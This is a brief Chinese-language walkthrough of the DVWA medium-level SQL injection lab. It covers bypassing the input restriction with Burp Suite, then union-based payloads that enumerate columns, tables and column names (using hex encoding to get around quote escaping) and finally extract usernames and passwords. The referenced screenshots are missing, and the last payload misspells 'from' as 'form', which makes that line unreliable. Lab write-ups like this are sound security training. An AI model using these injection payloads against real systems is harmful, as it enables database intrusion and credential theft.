dvwa闯关——medium级SQL

medium级的sql不让用户输入，可以通过burpsuite抓包绕过

一、判断是否有注入点，注入类型、字段数等

1.是否有注入即注入类型

修改为id=1 and 1=1后，如下图：

 　　存在注入点为数字型

2.判断字段数

1 order by 2时：

 　　1 order by 3时：

 　　所以字段数为2

3.确定回显位置

 　　4.查询数据库及版本

 　　5.获取数据库中所有表

1 union select 1,table_name from information_schema.tables where table_schema=database()

 　　该数据库有两张表

 　　6.获取列名

单引号被转义了，所以不能用table_name=‘users‘获取数据，用十六进制绕过

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

列名

 　　7.获取用户和密码

1 union select user,password form users

用户和密码